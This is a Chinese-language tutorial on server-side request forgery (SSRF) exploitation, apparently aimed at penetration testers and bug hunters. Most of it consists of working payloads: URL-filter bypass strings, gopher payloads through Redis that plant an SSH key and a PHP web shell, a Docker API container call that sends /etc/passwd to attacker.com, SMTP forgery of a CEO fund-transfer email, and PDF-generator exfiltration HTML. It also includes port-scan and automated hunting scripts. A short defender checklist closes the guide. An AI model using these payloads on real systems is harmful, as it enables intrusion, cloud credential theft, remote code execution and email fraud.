本文旨在总结如何将简单的“服务器发出请求”功能转化为严重安全漏洞的实践经验。SSRF攻击常被低估为“读取内部服务”或“元数据泄露”。正是这种思维定式,导致许多安全评估错失了极具破坏性的完整攻击链条。
理解 SSRF:超越基础知识
服务器端请求伪造是指攻击者能够诱使服务器向其指定的任意目标地址发起HTTP请求。这可以理解为劫持了服务器的“浏览器”,使其访问本不该访问的站点或内部资源。
根本优势:攻击者不再使用自己的IP地址发起请求,而是借助目标服务器的基础设施,包括其所有的内部网络访问权限以及与内部服务之间的信任关系。这使得利用Web应用漏洞挖掘内部系统成为可能。
侦察:寻找SSRF入口点

SSRF的高危风险点在哪里?
1. 文档处理器和转换器
PDF generators (HTML to PDF)
Image processors (SVG, especially with XXE)
Office document imports (DOCX, XLSX)
Markdown renderers with remote image support
2. Webhooks 和集成
Slack notifications
Discord webhooks
Custom integration endpoints
OAuth callbacks (redirect_uri)
SAML/SSO configurations
3. 隐藏的 API 参数
许多应用存在未在文档中公开的参数,这些是绝佳的测试目标。
# 使用常见的 SSRF 参数进行模糊测试
ffuf -w ssrf-params.txt -u "https://target.com/api/endpoint?FUZZ=http://burp-collab"
# 常见词表包括: url、uri、path、dest、destination、target、source、src、redirect、callback、return、return_url、next、continue、proxy、feed、rss、xml、file、document、link、reference
专业提示:特别注意文件上传功能中的“从 URL 获取”选项,这通常是本地上传的替代方案,也是SSRF的常见入口。
绕过SSRF防护的技术

1. URL解析器混淆
不同库或组件对URL的解析方式存在差异,可利用此特性绕过过滤。
# Localhost bypass variations
http://localhost
http://127.0.0.1
http://127.1
http://0
http://0.0.0.0
http://[::1]
http://[::]
# Decimal/Octal/Hex encodings
http://2130706433 (127.0.0.1 in decimal)
http://0x7f000001 (127.0.0.1 in hex)
http://017700000001 (127.0.0.1 in octal)
# DNS rebinding
http://localtest.me (resolves to 127.0.0.1)
http://customer1.app.localhost.my-domain.com
# CNAME tricks - Point your domain to internal IPs
http://internal.attacker.com (CNAME -> 169.254.169.254)
2. 协议走私
尝试使用非HTTP协议访问内部服务。
# 针对不同服务采用不同的协议
file:///etc/passwd
dict://localhost:6379/INFO
gopher://localhost:6379/_INFO
ftp://localhost/
tftp://localhost/
ldap://localhost/
jar:http://attacker.com!/
Gopher Protocol:这是利用SSRF攻击的“瑞士军刀”,可构造多种协议的原始请求。
# 通过 Gopher 构造 POST 请求
# 示例:发送 Redis 命令
gopher://localhost:6379/_SET%20key%20value
# 示例:SMTP 漏洞利用
gopher://localhost:25/_MAIL%20FROM:attacker@evil.com%0ARCPT%20TO:victim@target.com
3. 绕过黑名单过滤器
当防护规则屏蔽了“localhost”、“127”、“169.254”等关键词时:
# 使用替代表示法
http://①②⑦.⓪.⓪.① (Unicode numbers)
http://127。0。0。1 (Unicode dots)
http://127.0.0.1.nip.io
http://127.0.0.1.xip.io
http://spoofed.burpcollaborator.net
# 域名拼接
http://127.0.0.1.trusted-domain.com
http://trusted-domain.com@127.0.0.1
http://127.0.0.1#trusted-domain.com
# 开放重定向链
http://trusted-domain.com/redirect?url=http://169.254.169.254
当他们只验证URL是否以受信任的域名开头时:
http://trusted.com@attacker.com
http://trusted.com.attacker.com
http://attacker.com?trusted.com
http://attacker.com#trusted.com
4. DNS 重绑定
利用 检查时间与使用时间(TOCTOU) 的竞争条件。
# 设置响应不同的 DNS 服务器:
# 第一次请求:返回允许的外部 IP 地址 (1.2.3.4)
# 第二次请求(解析缓存过期后):返回内部 IP 地址 (127.0.0.1)
# TTL 值设置较低 (1 秒)
target.attacker.com A 1.2.3.4 (TTL: 1)
target.attacker.com A 127.0.0.1 (TTL: 1)
工具:可使用 singularity 或自建 rbndr 服务器来定制DNS响应。
Exploitation Chains:从发现到破坏

利用链 1:云元数据→凭据窃取
AWS EC2 实例元数据
# 基本枚举
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[角色名称]
# IMDSv2 绕过(需要令牌,但许多环境仍在使用 v1)
# 如果目标强制使用 v2,请寻找可以发送PUT请求的入口点:
# - 服务器端 PDF 生成器
# - 服务器端浏览器自动化(Puppeteer、Selenium)
攻击路径:
- 在功能点中发现SSRF漏洞;
- 访问AWS元数据端点;
- 从响应中提取IAM角色临时凭证;
- 使用该凭证枚举AWS资源(如S3桶);
- 演示对敏感数据的未授权访问;
- 提交包含完整影响链说明的报告。
Azure实例元数据
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Google Cloud 元数据
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# 需要标头:Metadata-Flavor: Google
# 可使用PDF生成器等功能发送自定义标头!
利用链 2:内部服务枚举 → 远程代码执行
端口扫描
# 基于响应时间的端口扫描
import requests
import time
for port in range(1, 65535):
start = time.time()
try:
requests.get(f"http://target.com/proxy?url=http://10.0.0.5:{port}", timeout=2)
except:
pass
elapsed = time.time() - start
if elapsed < 1.5: # Fast response = open port
print(f"[+] Port {port} open")
通过响应特征进行服务指纹识别
# Redis
gopher://localhost:6379/_INFO
# Memcached
gopher://localhost:11211/_stats
# Elasticsearch
http://localhost:9200/_cluster/health
# Docker API (可导致远程代码执行!)
http://localhost:2375/containers/json
http://localhost:2375/containers/create
# Kubernetes API
http://localhost:8001/api/
http://localhost:10250/pods
利用链 3:Docker API 远程代码执行
当通过SSRF发现暴露的Docker API时,可以尝试创建容器执行命令。

POST /containers/create
{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "curl http://attacker.com/$(cat /host/etc/passwd | base64)"],
"HostConfig": {
"Binds": ["/:/host"]
}
}
POST /containers/{id}/start
通过 Gopher 协议发送原始 POST 请求:
gopher://localhost:2375/_POST%20/containers/create%20HTTP/1.1%0D%0AHost:%20localhost:2375%0D%0AContent-Type:%20application/json%0D%0AContent-Length:%20[LENGTH]%0D%0A%0D%0A{JSON_PAYLOAD}
利用链 4:Redis 漏洞利用
通过 Gopher 协议写入 SSH 公钥:
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0assh-rsa AAAA...KEY...%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/root/.ssh%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
通过 Gopher 协议写入 WebShell:
gopher://localhost:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a<?php system($_GET['cmd']); ?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
利用链 5:SMTP 注入 → 邮件伪造
# 通过 Gopher 向内部 SMTP 服务器发送伪造邮件
gopher://localhost:25/_EHLO%20attacker.com%0AMAIL%20FROM:<ceo@company.com>%0ARCPT%20TO:<victim@target.com>%0ADATA%0AFrom:%20CEO%20<ceo@company.com>%0ATo:%20victim@target.com%0ASubject:%20Urgent%0A%0ATransfer%20funds%20immediately.%0A.%0AQUIT
关键漏洞的高级利用技术
盲SSRF检测
当没有直接回显时,使用带外技术进行检测。
DNS 数据外带:
# 在 URL 参数中
http://$(whoami).burpcollaborator.net
# 在 SVG 中(针对图像处理器)
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://$(whoami).attacker.com/x.jpg" />
</svg>
基于时间的检测:
# 如果请求长时间挂起,则目标端口可能开放(如SSH)
http://internal-host:22
# 端口关闭则会快速拒绝连接
http://internal-host:9999
XXE + SSRF 组合利用:
通过XXE引入外部实体,将SSRF触发的请求结果带出。以下为示例图片:

SVG + SSRF(图像处理器):
SVG文件可以包含外部资源引用,常被图像处理库加载。以下为示例图片:

PDF生成器:SSRF的经典利用场景
HTML转PDF功能常会加载页面中的所有资源,是绝佳的SSRF触发点。
<!-- 在 HTML 转 PDF 转换器中尝试 -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<object data="http://localhost:6379/" type="text/html"></object>
<embed src="file:///etc/passwd">
<link rel="stylesheet" href="http://attacker.com/extract?data=<?php echo file_get_contents('/etc/passwd'); ?>">
<!-- 基于 CSS 的 SSRF -->
<style>
@import url('http://169.254.169.254/latest/meta-data/');
body { background: url('http://attacker.com/x.jpg'); }
</style>
实战测试流程(分步详解)
第一阶段:信息搜集与入口点发现(30分钟)
- 映射所有参数:使用 Burp Suite 的“内容发现”和 ParamMiner 等扩展挖掘隐藏参数。
- 测试文件上传的替代方案:寻找“从URL获取”、“导入URL”等选项。
- 检查Webhook配置:集成页面、通知设置、回调URL配置处。
- 审查 API 文档:Swagger/OpenAPI 文档常会泄露未在前端暴露的参数。
第二阶段:漏洞初步验证(15分钟)
# 使用自己的服务器接收回调
python -m http.server 8080
# 或使用 Burp Collaborator、interact.sh、canarytokens.org 等服务
# 测试基本的 SSRF
?url=http://YOUR-IP:8080/test
第三阶段:绕过技术测试(1 小时)
- 测试所有本地主机的变体表示法。
- 尝试协议走私(file://, gopher://, dict:// 等)。
- 如有必要,搭建DNS重绑定环境进行测试。
- 测试各类编码和解析混淆绕过技术。
第四阶段:影响面升级与深入利用(2小时以上)
- 访问云元数据:依次测试AWS、Azure、GCP的元数据端点。
- 内部网络扫描:探测常见端口,识别内部服务。
- 利用已知服务漏洞:针对识别出的Redis、Docker API等服务进行深度利用。
- 漏洞组合联动:尝试与XXE、CRLF注入、开放重定向等其他漏洞结合,形成更强攻击链。这体现了渗透测试中思维的灵活性。
真实案例研究
以下案例基于公开披露的安全报告,展示了SSRF在实际环境中的严重危害。
案例 1:通过PDF导出功能访问AWS元数据
某在线文档处理服务提供了“导出为PDF”功能。攻击者发现,在转换的HTML内容中插入指向AWS元数据地址的 <iframe> 或 <img> 标签,服务器在生成PDF时会尝试访问该地址,并将元数据信息(包括IAM角色凭证)嵌入到生成的PDF文档中,从而成功窃取云环境访问权限。

自动化测试脚本示例
#!/bin/bash
# ssrf-hunter.sh
TARGET=$1
CALLBACK=$2
echo " Testing SSRF on $TARGET"
# 1. 基本回调测试
curl "$TARGET?url=http://$CALLBACK/basic"
# 2. 云元数据端点测试
for ip in "169.254.169.254" "metadata.google.internal" "169.254.169.254.nip.io"; do
curl "$TARGET?url=http://$ip/latest/meta-data/" -o output.txt
if grep -q "ami-id\\|instance-id" output.txt; then echo "[!] AWS metadata accessible!"; fi
done
# 3. 非常用协议测试
for proto in "file://" "gopher://" "dict://" "ftp://"; do
curl "$TARGET?url=${proto}localhost/test"
done
# 4. 简单端口扫描(基于响应时间)
for port in 22 80 443 6379 9200 2375 3306 5432 11211 27017; do
curl "$TARGET?url=http://localhost:$port" -o /dev/null -s -w "%{time_total}\\n"
done
常用工具列表
- Burp Suite Pro + 扩展:Collaborator Everywhere, ParamMiner
- SSRFMap:https://github.com/swisskyrepo/SSRFmap
- Gopherus:Gopher 协议 payload 生成器
- interactsh:开源带外交互平台
- nuclei:使用社区模板进行快速漏洞检测
- 自定义 Python 脚本:用于复杂场景的自动化
防御规避思路(红队视角)
当应用程序使用白名单域名校验时
# 尝试在白名单域名上寻找开放重定向漏洞
http://trusted.com/redirect?url=http://169.254.169.254
# 尝试CRLF注入扰乱解析逻辑
http://trusted.com%0D%0AHost:%20169.254.169.254%0D%0A%0D%0AGET%20/latest/meta-data
# 利用DNS通配符或子域名接管(如果你能控制 trusted.com 的某个子域)
your-domain.trusted.com
当应用程序严格解析URL各组件时
# 利用解析差异制造混淆
http://trusted.com@169.254.169.254
http://trusted.com#@169.254.169.254
http://trusted.com%23@169.254.169.254
http://trusted.com%2523@169.254.169.254 (双重编码)
开发人员防护清单
✅ 实施严格的 URL 目标白名单(基于域名或IP,而非黑名单)。
✅ 禁用不必要的URL协议处理程序(如 file://, gopher://, dict://)。
✅ 网络层面进行隔离,将对外服务部署在独立网络分段中。
✅ 实施严格的出口防火墙规则,限制服务器出站连接。
✅ 云环境强制使用AWS IMDSv2等需要令牌的元数据服务版本。
✅ 分别验证URL的scheme, host, port等各个组成部分。
✅ 使用经过安全审计、专门设计用于防止SSRF的库或中间件。
✅ 对所有出站请求实施合理的超时和响应大小限制。
✅ 记录并监控服务器发起的异常出站请求日志。
✅ 定期进行包含SSRF测试项的安全审计和渗透测试。
经验总结与关键要点
- PDF生成器是高价值目标——它们会执行JavaScript、加载外部资源,且常缺乏足够的SSRF防护。
- Webhook测试常被忽视——测试者常关注XSS而忽略其作为SSRF入口的潜力。
- 基于时间的检测有效——在盲注场景下,响应时间差异是判断端口状态和服务类型的关键。
- 漏洞链决定严重性——单独的SSRF可能评级为中危,但SSRF → 云凭证窃取 → RCE 链则可评为严重。
- 云元数据是通用目标——AWS、Azure、GCP的元数据端点类似,是SSRF利用的“低垂果实”。
- 文档暗藏玄机——API文档、JS源码常暴露隐藏参数,是发现入口的重要途径。
- 自动化与手动结合——工具能发现模式化问题,但复杂的绕过和利用链需要人工分析。
- 环境决定影响——同样的技术漏洞,在测试和生产环境、不同业务系统中的实际危害天差地别。
结语
SSRF漏洞远不止于“读取内部网络信息”。它是一把钥匙,能够打开从外部网络通往企业内部系统、云平台控制台乃至整个数据资产的大门。从云元数据窃取到容器逃逸,从内网漫游到远程代码执行,SSRF的攻击链清晰地展示了现代应用架构中,一个微小的功能缺陷如何被串联放大为灾难性的安全事件。防御SSRF需要开发、运维和安全团队在应用逻辑、网络架构和监控响应等多层面共同构建纵深防御体系。